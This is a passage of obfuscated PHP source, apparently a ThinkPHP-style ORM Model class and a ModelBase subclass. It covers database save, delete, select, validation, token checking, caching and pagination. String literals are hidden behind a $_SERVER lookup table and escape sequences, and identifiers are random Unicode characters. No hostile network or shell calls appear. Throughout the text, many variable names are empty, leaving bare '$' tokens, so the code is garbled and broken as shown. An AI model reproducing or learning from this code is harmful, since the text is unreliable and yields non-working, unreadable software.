($Ӽ) { return $Ӽ; } } return $; } public function selectAdd($ = '', $ا = '', $ = array()) { $ =& $_SERVER[̧]; $ = $this->_parseOptions($); if (!1 === ($Ԃיִ = $this->db->selectInsert($ ? $ : $[$[302]], $ا ? $ا : $this->getTableName(), $))) { $this->error = think_lang($[303]); return !1; } else { return $Ԃיִ; } } public function save($ʽ = '', $ = array()) { $ږ =& $_SERVER[̧]; if (empty($ʽ)) { if (!empty($this->data)) { $ʽ = $this->data; $this->data = array(); } else { $this->error = think_lang($ږ[300]); return !1; } } $ʽ = $this->_facade($ʽ); $ = $this->_parseOptions($); $ = $this->getPk(); if (!isset($[$ږ[304]])) { if (isset($ʽ[$])) { $[$] = $ʽ[$]; $[$ږ[304]] = $; unset($ʽ[$]); } else { $this->error = think_lang($ږ[303]); return !1; } } if (is_array($[$ږ[304]]) && isset($[$ږ[304]][$])) { $̶ = $[$ږ[304]][$]; } if (!1 === $this->_beforeUpdate($ʽ, $)) { return !1; } $ı = $this->db->update($ʽ, $); if (!1 !== $ı) { if (isset($̶)) { $ʽ[$] = $̶; } $this->_afterUpdate($ʽ, $); } return $ı; } protected function _beforeUpdate(&$ߥǴ, $) { } protected function _afterUpdate($ҝNj, $͚) { } public function delete($ײ = array()) { $Ժȼ =& $_SERVER[̧]; if (empty($ײ) && empty($this->options[$Ժȼ[304]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ʑ = $this->getPk(); if (is_numeric($ײ) || is_string($ײ)) { if (strpos($ײ, $Ժȼ[50])) { $[$ʑ] = array($Ժȼ[305], $ײ); } else { $[$ʑ] = $ײ; } $this->options[$Ժȼ[304]] = $; } $ײ = $this->_parseOptions(); if (is_array($ײ[$Ժȼ[304]]) && isset($ײ[$Ժȼ[304]][$ʑ])) { $ݩ = $ײ[$Ժȼ[304]][$ʑ]; } $ = $this->db->delete($ײ); if (!1 !== $) { $ = array(); if (isset($ݩ)) { $[$ʑ] = $ݩ; } $this->_after_delete($, $ײ); } return $; } protected function _after_delete($뀝, $䗑) { } public function select($掲 = array()) { $ۤ =& $_SERVER[̧]; if (is_string($掲) || is_numeric($掲)) { $ = $this->getPk(); if (strpos($掲, $ۤ[50])) { $[$] = array($ۤ[305], $掲); } else { $[$] = $掲; } $this->options[$ۤ[304]] = $; } elseif (!1 === $掲) { $掲 = $this->_parseOptions(); return $ۤ[306] . $this->db->buildSelectSql($掲) . $ۤ[307]; } $掲 = $this->_parseOptions(); $׽ = $this->db->select($掲); if (!1 === $׽) { return !1; } if (empty($׽)) { return null; } $this->_afterSelect($׽, $掲); return $׽; } protected function _afterSelect(&$ѵ戋, $ܫ) { } public function buildSql($ѻڐ = array()) { $ؓ =& $_SERVER[̧]; $ѻڐ = $this->_parseOptions($ѻڐ); return $ؓ[306] . $this->db->buildSelectSql($ѻڐ) . $ؓ[307]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($ = array()) { $؇ =& $_SERVER[̧]; if (is_array($)) { $ = array_merge($this->options, $); } $this->options = array(); if (!isset($[$؇[308]])) { $[$؇[308]] = $this->getTableName(); $˔ = $this->fields; } else { $˔ = $this->getDbFields(); } if (!empty($[$؇[309]])) { $[$؇[308]] .= $؇[53] . $[$؇[309]]; } $[$؇[310]] = $this->name; if (isset($[$؇[304]]) && is_array($[$؇[304]]) && !empty($˔) && !isset($[$؇[311]]) && !isset($[$؇[308]])) { foreach ($[$؇[304]] as $Ҕ => $ඌǢ) { $Ҕ = trim($Ҕ); if (in_array($Ҕ, $˔, !0)) { if (is_scalar($ඌǢ)) { $this->_parseType($[$؇[304]], $Ҕ); } } elseif (!is_numeric($Ҕ) && $؇[11] != substr($Ҕ, 0, 1) && !1 === strpos($Ҕ, $؇[10]) && !1 === strpos($Ҕ, $؇[289]) && !1 === strpos($Ҕ, $؇[312]) && !1 === strpos($Ҕ, $؇[313])) { unset($[$؇[304]][$Ҕ]); } } } $this->_options_filter($); return $; } protected function _options_filter(&$) { } protected function _parseType(&$䑗, $ر) { $ =& $_SERVER[̧]; if (empty($this->options[$[314]][$[4] . $ر])) { $Í = strtolower($this->fields[$[281]][$ر]); if (!1 !== strpos($Í, $[315])) { } elseif (!1 === strpos($Í, $[316]) && !1 !== strpos($Í, $[317])) { $䑗[$ر] = intval($䑗[$ر]); } elseif (!1 !== strpos($Í, $[318]) || !1 !== strpos($Í, $[319])) { $䑗[$ر] = floatval($䑗[$ر]); } elseif (!1 !== strpos($Í, $[320])) { $䑗[$ر] = (bool) $䑗[$ر]; } } } public function find($Lj = array()) { $ =& $_SERVER[̧]; if (is_numeric($Lj) || is_string($Lj)) { $Ѕ[$this->getPk()] = intval($Lj); $this->options[$[304]] = $Ѕ; } $this->options[$[321]] = 1; $Lj = $this->_parseOptions(); $킐 = $this->db->select($Lj); if (!1 === $킐) { return !1; } if (empty($킐)) { return null; } $this->data = $킐[0]; $this->_afterFind($this->data, $Lj); if (!empty($this->options[$[322]])) { return $this->returnResult($this->data, $this->options[$[322]]); } return $this->data; } protected function _afterFind(&$, $Ӛ) { } protected function returnResult($춒, $ө = '') { $ =& $_SERVER[̧]; if ($ө) { if (is_callable($ө)) { return call_user_func($ө, $춒); } switch (strtolower($ө)) { case $[323]: return json_encode($춒); case $[324]: return xml_encode($춒); } } return $춒; } public function parseFieldsMap($, $܃ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($܃ == 1) { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } else { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } } } return $; } public function setField($, $ = '') { if (is_array($)) { $ߒ = $; } else { $ߒ[$] = $; } return $this->save($ߒ); } public function setAdd($, $Р = 1) { $ =& $_SERVER[̧]; $ = $ . $[325] . $Р; if ($Р < 0) { $ = $ . $Р; } return $this->setField($, array($[326], $)); } public function getField($ͧչ, $Јϛذ = null) { $Ӓ =& $_SERVER[̧]; $[$Ӓ[302]] = $ͧչ; $ = $this->_parseOptions($); $ͧչ = trim($ͧչ); if (strpos($ͧչ, $Ӓ[50])) { if (!isset($[$Ӓ[321]])) { $[$Ӓ[321]] = is_numeric($Јϛذ) ? $Јϛذ : $Ӓ[12]; } $ = $this->db->select($); if (!empty($)) { $ɑ = explode($Ӓ[50], $ͧչ); $ͧչ = array_keys($[0]); $ގ = array_shift($ͧչ); $ = array_shift($ͧչ); $ = array(); $ = count($ɑ); foreach ($ as $) { $ԭ = $[$ގ]; if (2 == $) { $[$ԭ] = $[$]; } else { $[$ԭ] = is_string($Јϛذ) ? implode($Јϛذ, $) : $; } } return $; } } else { if (!0 !== $Јϛذ) { $[$Ӓ[321]] = is_numeric($Јϛذ) ? $Јϛذ : 1; } if ($Јϛذ === $Ӓ[284]) { unset($[$Ӓ[321]]); } $ = $this->db->select($); if (!empty($)) { if ($Јϛذ === $Ӓ[284]) { return reset($[0]); } if (!0 !== $Јϛذ && 1 == $[$Ӓ[321]]) { return reset($[0]); } foreach ($ as $ݝ) { $Ñ[] = $ݝ[$ͧչ]; } return $Ñ; } } return null; } public function create($ތ = '', $ζ = '') { $ =& $_SERVER[̧]; if (empty($ތ)) { $ތ = $_POST; } elseif (is_object($ތ)) { $ތ = get_object_vars($ތ); } if (empty($ތ) || !is_array($ތ)) { $this->error = think_lang($[300]); return !1; } $ތ = $this->parseFieldsMap($ތ, 0); $ζ = $ζ ? $ζ : (!empty($ތ[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[302]])) { $ = $this->options[$[302]]; unset($this->options[$[302]]); } elseif ($ζ == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($ζ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($[50], $); } if (think_config($[327])) { $[] = think_config($[328]); } foreach ($ތ as $ => $Ԅ) { if (!in_array($, $)) { unset($ތ[$]); } } } if (!$this->autoValidation($ތ, $ζ)) { return !1; } if (!$this->autoCheckToken($ތ)) { $this->error = think_lang($[329]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($ތ as $ => $Ԅ) { if (!in_array($, $)) { unset($ތ[$]); } elseif (MAGIC_QUOTES_GPC && is_string($Ԅ)) { $ތ[$] = stripslashes($Ԅ); } } } $this->autoOperation($ތ, $ζ); $this->data = $ތ; return $ތ; } public function autoCheckToken($) { $ =& $_SERVER[̧]; if (isset($this->options[$[330]]) && !$this->options[$[330]]) { return !0; } if (think_config($[327])) { $ = think_config($[328]); if (!isset($[$]) || Session::get($)) { return !1; } list($ſ, $򥇫) = explode($[11], $[$]); if ($򥇫 && Session::get($ . $[10] . $ſ) === $򥇫) { Session::remove($ . $[10] . $ſ); return !0; } if (think_config($[331])) { Session::remove($ . $[10] . $ſ); } return !1; } return !0; } public function regex($нƩ, $ޫǸ) { $ =& $_SERVER[̧]; $ = array($[332] => $[333], $[334] => $[335], $[336] => $[337], $[338] => $[339], $[340] => $[341], $[342] => $[343], $[344] => $[345], $[319] => $[346], $[347] => $[348]); if (isset($[strtolower($ޫǸ)])) { $ޫǸ = $[strtolower($ޫǸ)]; } return preg_match($ޫǸ, $нƩ) === 1; } private function autoOperation(&$Ż, $Ѐ٪) { $ =& $_SERVER[̧]; if (!empty($this->options[$[349]])) { $ӗ = $this->options[$[349]]; unset($this->options[$[349]]); } elseif (!empty($this->_auto)) { $ӗ = $this->_auto; } if (isset($ӗ)) { foreach ($ӗ as $) { if (empty($[2])) { $[2] = THINK_MODEL_INSERT; } if ($Ѐ٪ == $[2] || $[2] == THINK_MODEL_BOTH) { switch (trim($[3])) { case $[350]: case $[351]: $ = isset($[4]) ? (array) $[4] : array(); if (isset($Ż[$[0]])) { array_unshift($, $Ż[$[0]]); } if ($[350] == $[3]) { $Ż[$[0]] = call_user_func_array($[1], $); } else { $Ż[$[0]] = call_user_func_array(array(&$this, $[1]), $); } break; case $[302]: $Ż[$[0]] = $Ż[$[1]]; break; case $[352]: if ($[12] === $Ż[$[0]]) { unset($Ż[$[0]]); } break; case $[353]: default: $Ż[$[0]] = $[1]; } if (!1 === $Ż[$[0]]) { unset($Ż[$[0]]); } } } } return $Ż; } protected function autoValidation($ᦻ, $⽱) { $ =& $_SERVER[̧]; if (!empty($this->options[$[354]])) { $ = $this->options[$[354]]; unset($this->options[$[354]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $ɮ => $ϛ) { if (empty($ϛ[5]) || $ϛ[5] == THINK_MODEL_BOTH || $ϛ[5] == $⽱) { if (0 == strpos($ϛ[2], $[355]) && strpos($ϛ[2], $[356])) { $ϛ[2] = think_lang(substr($ϛ[2], 2, -1)); } $ϛ[3] = isset($ϛ[3]) ? $ϛ[3] : THINK_EXISTS_VALIDATE; $ϛ[4] = isset($ϛ[4]) ? $ϛ[4] : $[357]; switch ($ϛ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($ᦻ, $ϛ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($[12] != trim($ᦻ[$ϛ[0]])) { if (!1 === $this->_validationField($ᦻ, $ϛ)) { return !1; } } break; default: if (isset($ᦻ[$ϛ[0]])) { if (!1 === $this->_validationField($ᦻ, $ϛ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($𭲉, $) { if (!1 === $this->_validationFieldItem($𭲉, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($, $) { $̚ =& $_SERVER[̧]; switch (strtolower(trim($[4]))) { case $̚[350]: case $̚[351]: $̈́ = isset($[6]) ? (array) $[6] : array(); if (is_string($[0]) && strpos($[0], $̚[50])) { $[0] = explode($̚[50], $[0]); } if (is_array($[0])) { foreach ($[0] as $֓) { $Ν[$֓] = $[$֓]; } array_unshift($̈́, $Ν); } else { array_unshift($̈́, $[$[0]]); } if ($̚[350] == $[4]) { return call_user_func_array($[1], $̈́); } else { return call_user_func_array(array(&$this, $[1]), $̈́); } case $̚[358]: return $[$[0]] == $[$[1]]; case $̚[359]: if (is_string($[0]) && strpos($[0], $̚[50])) { $[0] = explode($̚[50], $[0]); } $ñ = array(); if (is_array($[0])) { foreach ($[0] as $֓) { $ñ[$֓] = $[$֓]; } } else { $ñ[$[0]] = $[$[0]]; } if (!empty($[$this->getPk()])) { $ñ[$this->getPk()] = array($̚[360], $[$this->getPk()]); } if ($this->where($ñ)->find()) { return !1; } return !0; default: return $this->check($[$[0]], $[1], $[4]); } } public function check($, $Œ, $ = "\x72\145\147\145\170") { $ =& $_SERVER[̧]; $ = strtolower(trim($)); switch ($) { case $[7]: case $[361]: $ߖ = is_array($Œ) ? $Œ : explode($[50], $Œ); return $ == $[7] ? in_array($, $ߖ) : !in_array($, $ߖ); case $[362]: case $[363]: if (is_array($Œ)) { $͹ = $Œ[0]; $ѓ = $Œ[1]; } else { list($͹, $ѓ) = explode($[50], $Œ); } return $ == $[362] ? $ >= $͹ && $ <= $ѓ : $ < $͹ || $ > $ѓ; case $[364]: case $[365]: return $ == $[364] ? $ == $Œ : $ != $Œ; case $[366]: $ = mb_strlen($, $[367]); if (strpos($Œ, $[50])) { list($͹, $ѓ) = explode($[50], $Œ); return $ >= $͹ && $ <= $ѓ; } else { return $ == $Œ; } case $[368]: list($̌, $ϕ؊) = explode($[50], $Œ); if (!is_numeric($̌)) { $̌ = strtotime($̌); } if (!is_numeric($ϕ؊)) { $ϕ؊ = strtotime($ϕ؊); } return NOW_TIME >= $̌ && NOW_TIME <= $ϕ؊; case $[369]: return in_array(get_client_ip(), explode($[50], $Œ)); case $[370]: return !in_array(get_client_ip(), explode($[50], $Œ)); case $[357]: default: return $this->regex($, $Œ); } } public function query($ɬ˺, $㓐 = false) { $ =& $_SERVER[̧]; if (!is_bool($㓐) && !is_array($㓐)) { $㓐 = func_get_args(); array_shift($㓐); } $ɬ˺ = str_replace(array($[231], $[371]), $[53], $ɬ˺); $ɬ˺ = $this->parseSql($ɬ˺, $㓐); return $this->db->query($ɬ˺); } public function execute($ٻ, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ٻ = $this->parseSql($ٻ, $); return $this->db->execute($ٻ); } protected function parseSql($, $) { $ =& $_SERVER[̧]; if (!0 === $) { $ = $this->_parseOptions(); $ = $this->db->parseSql($, $); } elseif (is_array($)) { $ = array_map(array($this->db, $[372]), $); $ = vsprintf($, $); } else { $ = strtr($, array($[373] => $this->getTableName(), $[374] => think_config($[273]))); } $this->db->setModel($this->name); return $; } public function db($ = '', $ = '', $ = array()) { $ =& $_SERVER[̧]; if ($[12] === $ && $this->db) { return $this->db; } static $͑ = array(); static $홀 = array(); if (!isset($홀[$]) || isset($홀[$]) && $ && $͑[$] != $) { if (!empty($) && is_string($) && !1 === strpos($, $[8])) { $ = think_config($); } $ = think_guid($); $홀[$] = Db::getInstance($); } elseif (NULL === $) { $홀[$]->close(); unset($홀[$]); return; } if (!empty($)) { if (is_string($)) { parse_str($, $); } foreach ($ as $ => $ٳ) { $this->setProperty($, $ٳ); } } $͑[$] = $; $this->db = $홀[$]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[̧][375]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $ˢ =& $_SERVER[̧]; if (empty($this->trueTableName)) { $Ҁ = !empty($this->tablePrefix) ? $this->tablePrefix : $ˢ[12]; if (!empty($this->tableName)) { $Ҁ .= $this->tableName; } else { $Ҁ .= think_parse_name($this->name); } $this->trueTableName = strtolower($Ҁ); } return (!empty($this->dbName) ? $this->dbName . $ˢ[10] : $ˢ[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $Ӌ =& $_SERVER[̧]; return isset($this->fields[$Ӌ[280]]) ? $this->fields[$Ӌ[280]] : $this->pk; } public function getDbFields() { $⇿ =& $_SERVER[̧]; if (isset($this->options[$⇿[308]])) { $ַװ = $this->db->getFields($this->options[$⇿[308]]); return $ַװ ? array_keys($ַװ) : !1; } if ($this->fields) { $ַװ = $this->fields; unset($ַװ[$⇿[279]], $ַװ[$⇿[280]], $ַװ[$⇿[281]], $ַװ[$⇿[278]]); return $ַװ; } return !1; } public function data($ = '') { $± =& $_SERVER[̧]; if ($±[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($±[300])); } $this->data = $; return $this; } public function join($ה) { $ =& $_SERVER[̧]; if (is_array($ה)) { $this->options[$[311]] = $ה; } elseif (!empty($ה)) { $this->options[$[311]][] = $ה; } return $this; } public function union($, $஌ = false) { $ =& $_SERVER[̧]; if (empty($)) { return $this; } if ($஌) { $this->options[$[376]][$[377]] = !0; } if (is_object($)) { $ = get_object_vars($); } if (is_string($)) { $ = $; } elseif (is_array($)) { if (isset($[0])) { $this->options[$[376]] = array_merge($this->options[$[376]], $); return $this; } else { $ = $; } } else { think_exception(think_lang($[300])); } $this->options[$[376]][] = $; return $this; } public function cache($ = true, $집 = null, $Ϲ = '') { $߯ =& $_SERVER[̧]; if (!1 !== $) { $this->options[$߯[378]] = array($߯[94] => $, $߯[368] => $집, $߯[33] => $Ϲ); } return $this; } public function field($ڭ, $믢 = false) { $ֻ =& $_SERVER[̧]; if (!0 === $ڭ) { $ = $this->getDbFields(); $ڭ = $ ? $ : $ֻ[189]; } elseif ($믢) { if (is_string($ڭ)) { $ڭ = explode($ֻ[50], $ڭ); } $ = $this->getDbFields(); $ڭ = $ ? array_diff($, $ڭ) : $ڭ; } $this->options[$ֻ[302]] = $ڭ; return $this; } public function scope($ʠ = '', $ = NULL) { $۹̮ =& $_SERVER[̧]; if ($۹̮[12] === $ʠ) { if (isset($this->_scope[$۹̮[37]])) { $ɥ = $this->_scope[$۹̮[37]]; } else { return $this; } } elseif (is_string($ʠ)) { $ = explode($۹̮[50], $ʠ); $ɥ = array(); foreach ($ as $) { if (!isset($this->_scope[$])) { continue; } $ɥ = array_merge($ɥ, $this->_scope[$]); } if (!empty($) && is_array($)) { $ɥ = array_merge($ɥ, $); } } elseif (is_array($ʠ)) { $ɥ = $ʠ; } if (is_array($ɥ) && !empty($ɥ)) { $this->options = array_merge($this->options, array_change_key_case($ɥ)); } return $this; } public function where($҃, $ = null) { $̼ =& $_SERVER[̧]; if (!is_null($) && is_string($҃)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $̼[372]), $); $҃ = vsprintf($҃, $); } elseif (is_object($҃)) { $҃ = get_object_vars($҃); } elseif (is_array($҃)) { foreach ($҃ as $ => $) { if ((is_numeric($) || !$) && is_string($)) { if (strpos($, $̼[379]) === 0) { continue; } think_trace($̼[380], $̼[12], $̼[49]); die; } } } if (is_string($҃) && $̼[12] != $҃) { $ = array(); $[$̼[381]] = $҃; $҃ = $; } if (isset($this->options[$̼[304]])) { $this->options[$̼[304]] = array_merge($this->options[$̼[304]], $҃); } else { $this->options[$̼[304]] = $҃; } return $this; } public function limit($, $̠ = null) { $ =& $_SERVER[̧]; $this->options[$[321]] = is_null($̠) ? $ : $ . $[50] . $̠; return $this; } public function page($, $ıċ = null) { $ =& $_SERVER[̧]; $this->options[$[382]] = is_null($ıċ) ? $ : $ . $[50] . $ıċ; return $this; } public function comment($) { $this->options[$_SERVER[̧][383]] = $; return $this; } public function setProperty($ˤ, $) { if (property_exists($this, $ˤ)) { $this->{$ˤ} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\155\157\x64\x69\146\171\x54\x69\155\x65", "\164\x69\155\145", "\x69\156\x73\x65\x72\x74\54\165\x70\144\x61\164\145", "\146\x75\156\x63\x74\151\157\x6e"), array("\143\162\x65\141\x74\x65\x54\x69\x6d\x65", "\164\x69\155\x65", "\151\156\x73\x65\x72\x74", "\146\165\x6e\143\x74\x69\157\x6e")); public function setDataAuto($罜ч) { $this->dataAuto = $罜ч; } public function __construct($遡 = '', $ת = '', $胷 = '') { parent::__construct($遡, $ת, $胷); } protected $tableMeta = array(); protected function _beforeInsert(&$ɛȤ, $՟յ) { $ =& $_SERVER[̧]; if (!$this->checkDataAutoHas($[384])) { return; } $this->dataBeforeFilter($ɛȤ, $[384]); } protected function _beforeUpdate(&$, $) { $¡ =& $_SERVER[̧]; if (!$this->checkDataAutoHas($¡[385])) { return; } $this->dataBeforeFilter($, $¡[385]); } protected function _afterSelect(&$Ĺ, $) { if (!is_array($Ĺ)) { return; } if (!$this->checkDataAutoHas($_SERVER[̧][386])) { return; } foreach ($Ĺ as &$㪸) { $this->dataAfterFilter($㪸); } unset($㪸); } protected function _afterFind(&$ۖ, $͊) { if (!is_array($ۖ)) { return; } if (!$this->checkDataAutoHas($_SERVER[̧][386])) { return; } $this->dataAfterFilter($ۖ); } public static function textEncode($Ӳ) { if (!$Ӳ) { return $Ӳ; } $ť… = json_encode($Ӳ); $ť… = preg_replace_callback($_SERVER[̧][387], function ($) { return addslashes($[0]); }, $ť…); return json_decode($ť…); } public static function textDecode($) { $ν =& $_SERVER[̧]; $Ԇ = json_encode($); $Ԇ = preg_replace_callback($ν[388], function ($) { return $_SERVER[̧][97]; }, $Ԇ); return json_decode($Ԇ); } public function setAutoIncrement($ݺ) { $ = array($this->getPk() => $ݺ); $ф = $this->data($)->add(); if ($ф) { $this->delete($ф); } } public function getAutoIncrement() { $ = $this->getTableName(); $烓 = $this->max($this->getPk()); $ɤ = $this->query("\x73\150\157\167\40\x74\x61\142\x6c\145\x20\163\164\141\x74\x75\163\40\x77\150\x65\x72\x65\x20\x4e\x61\x6d\x65\75\x27{$}\x27"); $ = $ɤ[0][$_SERVER[̧][389]]; $ = max($烓, $); return $; } protected function _callBefore($ƒ, $ګ) { return $this->cacheCallCheck($ƒ, $ګ, !1); } protected function _callAfter($̥, $) { return $this->cacheCallCheck($̥, $, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($ܐ, $Π, $ɗ = false) { $ = $this->cacheFunctionAlias($Π); if (!$) { return; } foreach ($ as $Ӟ => $ѧ׽) { $ = $ѧ׽[0]; $ʭǾ = explode($_SERVER[̧][50], $ѧ׽[1]); if ($ܐ == $Ӟ) { return $this->cacheFunctionGet($Ӟ, $); } if ($ɗ && in_array($ܐ, $ʭǾ)) { $this->cacheFunctionClear($Ӟ, $); } } } public function cacheFunctionGet($ݜ, $) { $ = $this->cacheKeyMake($ݜ, $); $ = Cache::get($); if (!is_array($)) { $ = call_user_func_array(array($this, $ݜ), array($, !0)); Cache::set($, $); } return $; } public function cacheFunctionClear($, $) { $ = $; if (!is_array($)) { $ = array($); } foreach ($ as $ԟч) { $ = $this->cacheKeyMake($, $ԟч); Cache::remove($); } } private function cacheKeyMake($, $) { $ż =& $_SERVER[̧]; return get_class($this) . $ż[11] . $ . $ż[390] . $; } protected function selectPageReset() { $ϑ =& $_SERVER[̧]; if (isset($GLOBALS[$ϑ[391]])) { return; } $GLOBALS[$ϑ[391]] = isset($GLOBALS[$ϑ[7]][$ϑ[392]]) ? $GLOBALS[$ϑ[7]][$ϑ[392]] : !1; $GLOBALS[$ϑ[393]] = isset($GLOBALS[$ϑ[7]][$ϑ[382]]) ? $GLOBALS[$ϑ[7]][$ϑ[382]] : !1; $GLOBALS[$ϑ[7]][$ϑ[392]] = !1; $GLOBALS[$ϑ[7]][$ϑ[382]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[̧]; if (!isset($GLOBALS[$[391]])) { return; } $GLOBALS[$[7]][$[392]] = $GLOBALS[$[391]]; $GLOBALS[$[7]][$[382]] = $GLOBALS[$[393]]; if ($GLOBALS[$[7]][$[392]] === !1) { unset($GLOBALS[$[7]][$[392]]); } if ($GLOBALS[$[7]][$[382]] === !1) { unset($GLOBALS[$[7]][$[382]]); } unset($GLOBALS[$[391]]); unset($GLOBALS[$[393]]); } protected function selectPage($ = 200, $Ϙ = 1) { $ =& $_SERVER[̧]; global $in; $Ϳ = $this->optionsValue(); $ = 50000; $ = isset($in[$[392]]) && $in[$[392]] ? $in[$[392]] : $; if ($ === -1) { $in[$[392]] = !1; $ = 100000000; $ = $; } $ = $Ϳ; $[$[394]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ ? $ : $); $Ϙ = intval(isset($in[$[382]]) && $in[$[382]] ? $in[$[382]] : $Ϙ); $Ϙ = $Ϙ <= 1 ? 1 : $Ϙ; $ = array(); $И = 1; if ($Ϙ == 1 && $И) { $this->optionsValue($Ϳ); $ = $this->page($Ϙ, $)->select(); $ƻ = is_array($) ? count($) : 0; if ($ƻ < $) { $̆ = 1; } else { $this->optionsValue($); $ƻ = intval($this->count()); $̆ = ceil($ƻ / $); } } else { $this->optionsValue($); $ƻ = intval($this->count()); $̆ = ceil($ƻ / $); $Ϙ = $Ϙ >= $̆ ? $̆ : $Ϙ; $this->optionsValue($Ϳ); $ = $this->page($Ϙ, $)->select(); } if (!is_array($)) { $ = array(); } if ($̆ == 1) { $ƻ = count($); } $劸چ = array($[395] => array($[396] => $ƻ, $[392] => $, $[382] => $Ϙ, $[397] => $̆), $[398] => $); return $劸چ; } protected function checkLength($Ҥ, $ = 0, $ = '') { $͖ =& $_SERVER[̧]; $ = $ ? $ : 65536; if (!$Ҥ || strlen($Ҥ) < $) { return; } $ = $ ? $ . $͖[71] : $͖[12]; show_json($ . LNG($͖[399]) . "\x28{$}\x29", !1); } protected function metaSet($ɸ੿, $ = null, $ = null) { $ =& $_SERVER[̧]; if (!$this->tableMeta || !$ɸ੿) { return !1; } $潯 = $this->tableMeta[$[400]]; $ȹ = $this->tableMeta[$[401]]; $В = Model($ȹ); $ڕ = array($潯 => $ɸ੿, $[402] => $); if (is_null($)) { return $В->where(array($潯 => $ɸ੿))->delete(); } if (is_null($) && is_string($)) { return $В->where($ڕ)->delete(); } $ߍ = is_array($) ? $ : array(); if (is_string($)) { $ߍ[$] = $; } $ܵˆ = array(); foreach ($ߍ as $׌ => $ò竡) { if (is_null($ò竡) && is_string($׌)) { $В->where(array($潯 => $ɸ੿, $[402] => $׌))->delete(); continue; } $this->checkLength($ò竡, !1, $ȹ . $[4] . $׌); $ܵˆ[] = array($潯 => $ɸ੿, $[94] => $׌, $[403] => $ò竡); } $͍ = $[404] . $ȹ; CacheLock::lock($͍); $В->where(array($潯 => $ɸ੿))->addAll($ܵˆ, array(), !0); CacheLock::unlock($͍); return !0; } public function metaGet($Ջ, $߉ = false) { $ =& $_SERVER[̧]; if (!$this->tableMeta) { return array(); } $Ӄ = $this->tableMeta[$[400]]; $ŷ = Model($this->tableMeta[$[401]]); if ($߉) { $ = array($Ӄ => $Ջ, $[94] => $߉); return $ŷ->where($)->getField($[403]); } $ = array($Ӄ => $Ջ); $烙 = $ŷ->field($[405])->where($)->select(); $烙 = array_to_keyvalue($烙, $[94], $[403]); return $烙; } private function checkDataAutoHas($ʦ) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $•) { if (in_array($ʦ, explode($_SERVER[̧][50], $•[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$Ӗ, $Ǽ) { $⥠ =& $_SERVER[̧]; if (!is_array($Ӗ)) { return; } foreach ($this->dataAuto as $) { $ = $[0]; if (!in_array($Ǽ, explode($⥠[50], $[2]))) { continue; } switch (trim($[3])) { case $⥠[350]: case $⥠[351]: $ = $[1]; $ = isset($[4]) ? (array) $[4] : array(); if ($ == $⥠[180] && array_key_exists($, $Ӗ)) { if (!$Ӗ[$]) { unset($Ӗ[$]); } break; } if (isset($Ӗ[$])) { array_unshift($, $Ӗ[$]); } if ($⥠[350] == $[3]) { $Ӗ[$] = call_user_func_array($, $); } else { $Ӗ[$] = call_user_func_array(array(&$this, $), $); } break; case $⥠[299]: if (isset($Ӗ[$]) && $Ӗ[$]) { $Ӗ[$] = call_user_func_array(array(&$this, $[1]), array($Ӗ[$])); } break; case $⥠[302]: $Ӗ[$] = $Ӗ[$[1]]; break; case $⥠[323]: if (isset($Ӗ[$]) && !is_string($Ӗ[$])) { $Ӗ[$] = json_encode_force($Ӗ[$]); } break; case $⥠[352]: if ($Ӗ[$] === $⥠[12]) { unset($Ӗ[$]); } break; case $⥠[353]: $Ӗ[$] = $[1]; default: break; } } if ($Ǽ == $⥠[384]) { $魕 = strtolower($this->db->getDbType()); if (strpos($魕, $⥠[13]) !== 0) { return; } $ٺ = $this->field(!0)->fields; $ɸ = $ٺ[$⥠[281]]; if (isset($ٺ[$⥠[280]])) { unset($ɸ[$ٺ[$⥠[280]]]); } foreach ($ɸ as $ͩ؟ => $Ǽ) { if (!isset($Ӗ[$ͩ؟])) { $Ӗ[$ͩ؟] = $⥠[12]; } } } } private function dataAfterFilter(&$ϼ) { $ =& $_SERVER[̧]; foreach ($this->dataAuto as $ܿ) { $ = $ܿ[0]; if (!isset($ϼ[$])) { continue; } if (!in_array($[386], explode($[50], $ܿ[2]))) { 